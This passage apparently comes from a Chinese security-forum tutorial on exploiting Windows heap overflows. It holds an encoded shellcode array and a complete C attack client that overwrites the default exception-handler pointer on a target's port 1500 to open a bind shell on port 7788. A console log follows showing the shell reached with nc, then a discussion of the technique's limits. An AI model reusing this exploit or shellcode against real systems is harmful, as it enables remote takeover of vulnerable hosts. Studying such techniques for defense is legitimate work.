"\x21\x30\x6f\x36\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5\x30"
"\x6f\x8a\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d"
"\x55\x55\x21\x3f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55"
"\x55\xa9\xe8\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d"
"\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b"
"\xab\x23\x27\x32\x5d\x55\x55\x21\x3f\x36\x5d\x55\x55\x29\x68\xae"
"\x23\x3f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27"
"\x32\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x3f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\x96\xab\xed"
"\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x3f\x36\x5d\x55"
"\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5"
"\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x3f\x32\x5d\x55\x55"
"\xa9\x3f\x32\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21\x30\x6f"
"\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x30"
"\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d\x55\x55\x21\xfb\xba\x21"
"\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55\x23\x27\x36\x5d\x55\x55"
"\x21\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d"
"\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21"
"\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x36"
"\x5d\x55\x55\x21\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d"
"\x55\x55\x23\x30\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55"
"\x55\x43\xbc\x54\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce"
"\x30\x49\xaa\xaa\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf"
"\x43\xdf\xae\xaa\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc"
"\x23\x3f\x86\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a"
"\xa8\x23\x30\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x36\x5d\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x3f\xaa"
"\xaa\xaa\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x3f\x30"
"\x42\x5d\x55\x55\xf8\x55\x3f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x3f\x30"
"\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x3f\x36\x5d\x55"
"\x55\x23\x30\x6e\x3f\x1a\x5d\x55\x55\x41\xa5\x21\x30\x6f\x30\x42"
"\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55\x55\x21\x27"
"\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde\xa8\x41\xa8"
"\x41\x78\x21\x3f\x30\x42\x5d\x55\x55\x29\x68\xab\x23\x3f\x30\x42"
"\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0\xac\xc0\xab\xc0\xa8"
"\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f"
"\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d\x55\x55\xa8\xaa\xcc\x21"
"\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f\x90\x5d\x55\x55\x6d\x30"
"\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55\xaa\xde\xf5\x21\x5e\xc0"
"\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55"
"\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36"
"\x5d\x55\x55\xcc\x21\x30\x6f\x90\x5d\x55\x55\xcc\xaf\xaa\xab\xcc"
"\x23\x30\x6f\x90\x5d\x55\x55\x21\x27\x90\x5d\x55\x55\x2b\x4b\x55"
"\x55\xaa\xaa\x2b\x53\xaa\xab\xaa\xaa\xd7\xb8\xcc\x21\x3f\x90\x5d"
"\x55\x55\xcc\x29\x68\xab\xcc\x23\x3f\x90\x5d\x55\x55\x41\x32\x21"
"\x5e\xc0\xa0\x21\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x3f\x76\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63"
"\xa5\x30\x6e\x6c\xa8\xaa\xaa\x21\x5e\x27\x3f\x9e\x5d\x55\x55\xf8"
"\x27\x30\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55"
"\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2"
"\x5d\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30"
"\x6f\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\xaa\x5d\x55\x55\xf8\x27"
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x3f"
"\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa\x27"
"\x3f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa\x27\x27"
"\xba\x5d\x55\x55\xfb\x55\x3f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58"
"\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x30"
"\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x3f\xba\x5d\x55\x55\x23\x3f\x22"
"\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23\x30\x6f\x26\x5d\x55"
"\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d\x55\x55\x21\x5e\x27"
"\x3f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa\x5d\x55\x55\xfa\xc0\xaa"
"\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x30\x42\x5d\x55"
"\x55\xfb\xc0\xaa\x55\x3f\x16\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21\x5e\xc0\xaa\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\xc2\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55"
"\x55\xfa\x21\x27\xb2\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91"
"\x5e\x3a\xe9\xe1\xe9\xe1\x30\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5"
"\x30\x6e\xdf\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a"
"\x5d\x55\x55\xfa\xc2\xaa\xae\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb"
"\x21\x3f\xb2\x5d\x55\x55\xf8\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a"
"\xe9\xe1\xe9\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa"
"\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2"
"\x5d\x55\x55\xfa\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2"
"\x5d\x55\x55\xfa\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55"
"\xfb\x21\x3f\xe2\x5d\x55\x55\xf8\x55\x3f\x4e\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2\xaa"
"\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d\x55"
"\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23"
"\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5\xf8\x6d"
"\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x30"
"\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x3f\xa6\x5d\x55\x55\xf8\x55"
"\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\x21\x30"
"\x6f\xe2\x5d\x55\x55\xfa\x55\x3f\x5a\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27\x27\x9a\x5d\x55\x55\xfb"
"\x21\x3f\x9a\x5d\x55\x55\xf8\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21"
"\x27\xa6\x5d\x55\x55\xfb\x55\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x43\xd4\x54\x55\x55\x43\x87\x57\x55\x55\x41\x54\xf2"
"\xfa\x21\x17\x30\x42\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e\xa6"
"\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46"
"\x42\xb3\x53\x55\x55\xb4\xc6\xe6\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb"
"\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9"
"\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6"
"\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb"
"\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf"
"\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xdd\xd9\x98\xf5\x99"
"\x98\x84\xce\xc6\xc6\xaa\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4"
"\xce\xaa\xc6\xc3\xd9\xde\xcf\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa"
"\xd9\xcf\xc4\xce\xaa\xd8\xcf\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf"
"\xde\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0"
"\xaa";
/* 2161+16 bytes long */
int main(int argc, char *argv[])
{
  WSADATA       wsd;
  SOCKET        sClient;
  int           ret, i;
  struct sockaddr_in server;
  struct hostent    *host = NULL;
  char buff[4096] = {0};
  if(argc != 3)
  {
    printf("usage: %s target port\n", argv[0]);
    exit(1);
  }
  if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
  {
    printf("Failed to load Winsock library!\n");
    return 1;
  }
  sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sClient == INVALID_SOCKET)
  {
    printf("socket() failed: %d\n", WSAGetLastError());
    return 1;
  }
  server.sin_family = AF_INET;
  server.sin_port = htons((u_short)atoi(argv[2]));
  server.sin_addr.s_addr = inet_addr(argv[1]);
  if (server.sin_addr.s_addr == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if (host == NULL)
    {
      printf("Unable to resolve server: %s\n", argv[1]);
      return 1;
    }
    CopyMemory(&server.sin_addr, host->h_addr_list[0],
       host->h_length);
  }
  file://连接到目标主机的1500端口
  if (connect(sClient, (struct sockaddr *)&server,
    sizeof(server)) == SOCKET_ERROR)
  {
    printf("connect() failed: %d\n", WSAGetLastError());
    return 1;
  }
  file://下面开始构造溢出串
  for(i=0;i<sizeof(buff);)
  {
    buff[i++] = 0xeb;
    buff[i++] = 0x06;
  }
  file://先把前面放上大量的jmp 6指令(0xeb,0x06)作为NOP
  *(unsigned int *)&buff[32+8] = 0x0012f5bf;  file://shellcode地址
  *(unsigned int *)&buff[32+8+4] = 0x77ebf44c;  file://默认异常处理地址
  file://在对应的位置放上要改写的内存地址和shellcode地址,
  file://这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的,
  file://这个是堆栈中的缓冲区地址,在不同的系统中可能略有不同
  memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode));
  file://然后把shellcode放在最后面
  /*
  整个构造好的溢出串如下:
  +------------------------------------------------------------------------------+
  |jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6|   shellcode   |
  +------------------------------------------------------------------------------+
  |   40 bytes   |  4 bytes |  4 bytes |                         |shellcode的长度|
  */
  file://shellcode的前面要放上几个0x90,以便最后一个jmp 6可以跳到其中
  buff[sizeof(buff)-1] = 0;
  i = 4096;
  file://把溢出串发送过去
  ret = send(sClient, buff, i, 0);
  printf("shellcode sended!\ntelnet to 7788 port");
  closesocket(sClient);
  WSACleanup();
  return 0;
}
我们首先以RELEASE模式来编译有漏洞的程序win_heap_vul.c,并运行起来。
然后再编译并运行攻击程序win_heap_exp.c:
C:\HEAP\client\Debug>win_heap_exp localhost 1500
shellcode sended!
telnet to 7788 port
如果攻击成功,就会在目标主机上打开7788端口,用nc连上去。
C:\HEAP\client\Debug>nc -vv localhost 7788
YANX [127.0.0.1] 7788 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\HEAP\server\Release>dir
C:\HEAP\server\Release>
dir
驱动器 C 中的卷没有标签。
卷的序列号是 D4FF-AC1D
C:\HEAP\server\Release 的目录
2002-05-28  18:10       <DIR>          .
2002-05-28  18:10       <DIR>          ..
2002-05-28  18:10               33,792 vc60.idb
2002-05-28  18:10               40,960 win_heap_vul.exe
2002-05-28  18:10                2,676 win_heap_vul.obj
2002-05-28  18:10            2,910,400 win_heap_vul.pch
               4 个文件      2,987,828 字节
               2 个目录  2,044,203,008 可用字节
C:\HEAP\server\Release>exit
成功的攻击了HEAP溢出漏洞的程序,并打开了7788端口。
五、总结
通过上面的分析和例子,我们已经知道了如何利用Windows下的HEAP溢出。Windows下的HEAP溢出和Linux等系统的都差不多,都是将超长的数据拷贝到动态分配的内存块,从而导致覆盖掉内存块间的管理结构造成的。唯一不同之处在于Linux等系统的HEAP溢出是通过free()时被利用的,而Windows是在再次分配内存是产生问题的,这种情况应该也是很容易出现的,ASP溢出就是最典型的例子。
但是现在利用这种漏洞还存在一些问题:
1、对于线程异常链上所有异常处理函数都无法处理的异常,系统才交给默认异常来处理,只有在这种情况下我们改写默认异常处理才有效。也就是说,只有溢出后弹出错误对话框的漏洞程序,我们才能够用上面方法来利用,否则的话,就必须改写其他地方,例如TEB的第一个内存单元,或者保存在堆栈中的函数返回地址等。
2、上面的程序用的是shellcode的地址直接定位的方法,这种方法在某些情况下可能会造成攻击程序的通用性比较差。其实对于上面那个漏洞程序,我们也可以用在系统DLL中的JMP EBP-XXX指令的方法来定位shellcode,这样的指令是可以找到的,但是这种方法并不具备通用性,因此在上面例子里还是用了直接定位shellcode的方法。对于一些可以反复攻击的漏洞程序,我们也可以采取暴力法来猜测这个地址。
3、如果溢出发生在进程的默认HEAP上(即通过GetProcessHeap()获得的),那么在执行shellcode时会出现一些问题,因为溢出破坏掉一些HEAP管理结构,而shellcode中调用的一些API函数会在进程默认堆上进行内存分配工作,因此会导致shellcode无法正常运行。要解决这个问题就需要在shellcode里下一些功夫,可以在shellcode实际功能之前恢复被破坏的管理结构,或者不使用进行HEAP分配的函数,这肯定是一个可以解决的问题。
Windows下的HEAP溢出的发展还不完善,没有统一通用的方法来利用,要根据出现溢出的程序的具体情况来使用不同的方法来进行攻击。我写下本文的目的在于抛砖引玉,希望众位高手能够提出更多更好的办法来解决这些问题,使得HEAP溢出能够像STACK溢出那样容易利用。

参考文献:
http://hsj.shadowpenguin.org/misc/iis5asp_exp.txt    -hsj
《一种新的Heap区溢出技术分析》    -warning3
《Windows核心编程》    -Jeffrey Richter
czlj203


=一知半解=
积分:457
贴数:582
日期: 2004-12-10 9:46:11  
看来很难哦
返回《编程与软件开发精华》 快速返回

IE不断爆出漏洞,使用FireFox浏览器,会更安全一些:

如果您想发帖,请先注册或登录!


Copyright © 2006 Patching.net All rights reserved.